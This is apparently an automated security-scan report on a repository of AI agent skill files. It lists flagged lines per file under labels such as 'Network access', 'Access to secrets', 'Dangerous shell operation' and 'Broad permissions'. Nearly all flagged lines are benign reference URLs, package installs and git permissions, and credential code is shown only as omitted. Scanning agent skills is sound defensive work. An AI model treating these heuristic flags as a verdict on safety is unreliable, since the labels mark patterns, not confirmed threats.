author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 440
- [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 441
## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm) - Network accessline 442
- [Smit Patel](https://linkedin.com/in/smitkpatel) - Network accessline 443
- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/skills/gtm-operating-cadence/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 263
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 264
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-partnership-architecture/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 161
- [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 162
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-positioning-strategy/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 204
- [Source repository](https://github.com/beingsmit/technical-product-gtm) - Network accessline 205
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/gtm-product-led-growth/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm"
harness/claude-code/skills/gtm-technical-product-pricing/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 199
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 200
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/skills/harness-engineering/SKILL.md
- Network accessline 125
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 162
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/claude-code/skills/image-manipulation-image-magick/SKILL.md
- Dangerous shell operationline 82
echo " Ubuntu/Debian: sudo apt install imagemagick"
harness/claude-code/skills/impediment-prioritization/SKILL.md
- Network accessline 94
| Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o - Network accessline 95
| --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your - Network accessline 96
| 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you - Network accessline 97
| 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost - Network accessline 98
| 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | - Network accessline 149
- [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) - Network accessline 150
- [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) - Network accessline 151
- [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
harness/claude-code/skills/import-infrastructure-as-code/SKILL.md
- Network accessline 72
| Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 73
| --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon - Network accessline 74
| Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | - Network accessline 75
| Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` | - Network accessline 76
| Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` | - Network accessline 77
| Registry namespace | `https://registry.terraform.io/namespaces/Azure` | - Network accessline 78
| Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` | - Network accessline 79
| GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` | - Network accessline 80
| README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` | - Network accessline 81
| AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` | - Network accessline 224
- [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes) - Network accessline 225
- [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)
harness/claude-code/skills/issue-fields-migration/SKILL.md
- Network accessline 130
- [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)
harness/claude-code/skills/java-add-graalvm-native-image-support/SKILL.md
- Network accessline 452
- [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 453
## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 454
- [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 455
- [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 456
- [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image) - Network accessline 457
- [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal) - Network accessline 458
- [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata) - Network accessline 459
- [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)
harness/claude-code/skills/java-mcp-server-generator/SKILL.md
- Network accessline 60
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/" - Network accessline 61
<project xmlns="http://maven.apache.org/" - Network accessline 62
"POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 63
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 64
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 65
https://maven.apache.org/xsd/maven-4.0.0.xsd">
harness/claude-code/skills/javax-to-jakarta-migration/SKILL.md
- Network accessline 75
| `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc - Network accessline 77
| `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor | - Network accessline 121
- [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v - Network accessline 122
- [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re - Network accessline 123
- [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - Network accessline 129
- [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee) - Network accessline 130
- [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)
harness/claude-code/skills/landing-page-conversion-audit/SKILL.md
- Network accessline 99
If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and - Network accessline 104
docker compose up # open http://localhost:4321 and complete /setup - Network accessline 105
# open http://localhost:4321 and complete /setup - Network accessline 143
- [Autonnel](https://github.com/autonnel/autonnel) - Network accessline 144
- [Local Autonnel setup endpoint](http://localhost:4321)
harness/claude-code/skills/latchshot-page-capture/SKILL.md
- Access to secretsline 14
[Credential-related source omitted] - Network accessline 26
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 32
| Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Network accessline 33
| --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. | - Network accessline 34
| Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Access to secretsline 46
[Credential-related source omitted] - Network accessline 49
node scripts/latchshot.mjs demo \ --url 'https://example.com' \ - Network accessline 50
--url 'https://example.com' \ - Network accessline 54
The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit - Network accessline 67
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 68
--url 'https://example.com' \ - Network accessline 75
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 76
--url 'https://example.com' \ - Network accessline 85
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 86
--url 'https://example.com' \ - Access to secretsline 142
[Credential-related source omitted] - Network accessline 150
- [Latchshot service origin](https://latchshot.fly.dev) - Network accessline 151
- [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)
harness/claude-code/skills/latchshot-page-capture/scripts/latchshot.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 9
const ORIGIN = 'https://latchshot.fly.dev'; - Access to secretsline 75
[Credential-related source omitted] - Network accessline 106
Examples: node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 107
node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 108
node scripts/latchshot.mjs capture --url https://example.com --output page.png - Network accessline 109
node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4 - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted]
harness/claude-code/skills/legacy-circuit-mockups/references/28256-eeprom.md
- Network accessline 185
* <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019> - Network accessline 186
* <https://www.futurlec.com/Memory/28C256.shtml> - Network accessline 187
* <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf> - Network accessline 188
* <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>
harness/claude-code/skills/legacy-circuit-mockups/references/555.md
- Network accessline 3
[www.fairchildsemi.com](https://www.fairchildsemi.com)
harness/claude-code/skills/legacy-circuit-mockups/references/6502.md
- Network accessline 210
* <https://syncopate.us/books/Synertek6502ProgrammingManual.html> - Network accessline 211
* <https://en.wikipedia.org/wiki/MOS_Technology_6502> - Network accessline 212
* <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf> - Network accessline 213
* Tutorial excerpts from <https://wilsonminesco.com/6502primer/> - Network accessline 214
* <https://wilsonminesco.com/6502primer/LogicFamilies.html> - Network accessline 215
* <https://wilsonminesco.com/6502primer/ClkGen.html> - Network accessline 216
* <https://wilsonminesco.com/6502primer/RSTreqs.html> - Network accessline 217
* <https://wilsonminesco.com/6502primer/displays.html> - Network accessline 218
* <https://wilsonminesco.com/6502primer/debug.html> - Network accessline 219
* <https://wilsonminesco.com/6502primer/potpourri.html>
harness/claude-code/skills/legacy-circuit-mockups/references/6522.md
harness/claude-code/skills/legacy-circuit-mockups/references/6C62256.md
harness/claude-code/skills/legacy-circuit-mockups/references/7400-series.md
harness/claude-code/skills/legacy-circuit-mockups/references/assembly-compiler.md
- Network accessline 248
* [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf) - Network accessline 249
* [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf) - Network accessline 250
* [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 251
* [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml) - Network accessline 252
* [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)
harness/claude-code/skills/legacy-circuit-mockups/references/assembly-language.md
- Network accessline 217
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 218
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 219
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 220
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/claude-code/skills/legacy-circuit-mockups/references/breadboard.md
- Network accessline 206
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 207
* [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard) - Network accessline 208
* [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)
harness/claude-code/skills/legacy-circuit-mockups/references/common-breadboard-components.md
- Network accessline 50
* [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor) - Network accessline 88
* [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor) - Network accessline 112
* [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor) - Network accessline 140
* [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode) - Network accessline 164
* [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode) - Network accessline 190
* [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor) - Network accessline 209
* [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit) - Network accessline 244
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 273
* [https://learn.sparkfun.com](https://learn.sparkfun.com) - Network accessline 274
* [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com) - Network accessline 275
* [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws) - Network accessline 276
* [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)
harness/claude-code/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md
- Network accessline 231
* [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 232
* [Ben Eater 6502 Computer Series](https://eater.net/6502) - Network accessline 233
* <https://www.youtube.com/watch?v=oO8_2JJV0B4> - Network accessline 234
* [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)
harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6502.md
- Network accessline 242
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 243
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 244
* [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests) - Network accessline 245
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6522.md
- Network accessline 280
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 281
* [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf) - Network accessline 282
* [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)
harness/claude-code/skills/legacy-circuit-mockups/references/emulator-6C62256.md
harness/claude-code/skills/legacy-circuit-mockups/references/emulator-lcd.md
- Network accessline 252
* [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf) - Network accessline 253
* [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller) - Network accessline 254
* [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502) - Network accessline 255
* [Build a 6502 Computer](https://eater.net/6502)
harness/claude-code/skills/legacy-circuit-mockups/references/lcd.md
- Network accessline 204
* <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf> - Network accessline 205
* <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf> - Network accessline 206
* <https://predictabledesigns.com/introduction-embedded-electronic-displays/>
harness/claude-code/skills/legacy-circuit-mockups/references/minipro.md
- Dangerous shell operationline 47
sudo apt install minipro - Network accessline 53
git clone https://github.com/vdudouyt/minipro.git - Dangerous shell operationline 55
sudo make install - Network accessline 205
* <https://gitlab.com/DavidGriffith/minipro> - Network accessline 206
* <https://www.hadex.cz/spec/m545b.pdf> - Network accessline 207
* <https://github.com/mikeroyal/Firmware-Guide> - Network accessline 208
* <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic> - Network accessline 209
* <https://retrocomputingforum.com/>
harness/claude-code/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md
harness/claude-code/skills/load-performance-testing/SKILL.md
- Network accessline 136
- [k6 documentation](https://grafana.com/docs/k6/latest/) - Network accessline 137
- [Apache JMeter user manual](https://jmeter.apache.org/usermanual/index.html) - Network accessline 138
- [Locust documentation](https://docs.locust.io/en/stable/) - Network accessline 139
- [Gatling documentation](https://docs.gatling.io/)
harness/claude-code/skills/lsp-setup/SKILL.md
- Network accessline 138
- [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)
harness/claude-code/skills/lsp-setup/references/lsp-servers.md
- Network accessline 11
**Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server) - Network accessline 40
**Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls) - Network accessline 47
|---------|-----------------------------------| | macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 48
| macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse. - Network accessline 49
| Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 50
| Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` | - Network accessline 68
> **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm - Network accessline 74
**Server**: [pyright](https://github.com/microsoft/pyright) - Network accessline 101
**Server**: [gopls](https://github.com/golang/tools/tree/master/gopls) - Network accessline 128
**Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer) - Network accessline 157
**Server**: [clangd](https://clangd.llvm.org/) - Network accessline 163
| macOS | `brew install llvm` (clangd included) or Xcode command line tools | | Linux | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 165
| Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 191
**Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`) - Network accessline 195
| OS | Command | |---------|----------------------------------------------------------------| | Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 197
| Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 217
**Server**: [solargraph](https://github.com/castwide/solargraph) - Network accessline 245
**Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense) - Network accessline 271
**Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server) - Network accessline 299
**Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain) - Network accessline 304
|---------|----------------------------------------------------------------| | macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 305
| macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | | Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 306
| Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 307
| Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 329
**Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server) - Network accessline 357
**Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server) - Network accessline 384
**Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)
harness/claude-code/skills/make-repo-contribution/SKILL.md
- Broad permissionsline 1
Read, Edit, Bash(git:*), Bash(gh issue:*), Bash(gh pr:*)
harness/claude-code/skills/markdown-to-html/SKILL.md
- Network accessline 17
Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno - Network accessline 42
One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`. - Network accessline 69
<p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code><p>paragraph tag</p></code>.</p>
harness/claude-code/skills/markdown-to-html/references/basic-markdown-to-html.md
harness/claude-code/skills/markdown-to-html/references/basic-markdown.md
- Network accessline 15
 - Network accessline 19
 - Network accessline 48
 - Network accessline 50
> \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1 - Network accessline 51
> When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class - Network accessline 61
 - Network accessline 74
 - Network accessline 76
For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - Network accessline 78
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star - Network accessline 88
 - Network accessline 92
| Color | Syntax | Example | Output - Network accessline 93
| ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ - Network accessline 94
| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | \`</code> | <code>\`rgb(9, 105, 218)\`</code> | \`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | .` - Network accessline 111
 - Network accessline 113
> \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a - Network accessline 114
> GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r - Network accessline 120
 - Network accessline 130
For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5). - Network accessline 255
`` - Network accessline 257
 - Network accessline 293
 - Network accessline 303
 - Network accessline 309
To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested - Network accessline 320
 - Network accessline 322
 - Network accessline 333
 - Network accessline 343
 - Network accessline 345
For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). - Network accessline 352
- [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 353
- [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 357
 - Network accessline 363
For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - Network accessline 367
You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the - Network accessline 374
 - Network accessline 376
When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o - Network accessline 386
For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - Network accessline 390
If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo - Network accessline 402
 - Network accessline 406
For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md). - Network accessline 428
 - Network accessline 460
 - Network accessline 476
 - Network accessline 478
For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash). - Network accessline 487
 - Network accessline 494
*[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) - Network accessline 495
*[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting) - Network accessline 496
*[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)
harness/claude-code/skills/markdown-to-html/references/code-blocks-to-html.md
- Network accessline 117
[About writing and formatting on GitHub](https://docs.github.com/...) - Network accessline 121
<a href="https://docs.github.com/...">About writing and formatting on GitHub</a> - Network accessline 129
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 133
<ul> <li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> - Network accessline 134
<li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> </li> - Network accessline 135
<a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
harness/claude-code/skills/markdown-to-html/references/code-blocks.md
- Network accessline 17
 - Network accessline 32
 - Network accessline 58
> \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa - Network accessline 59
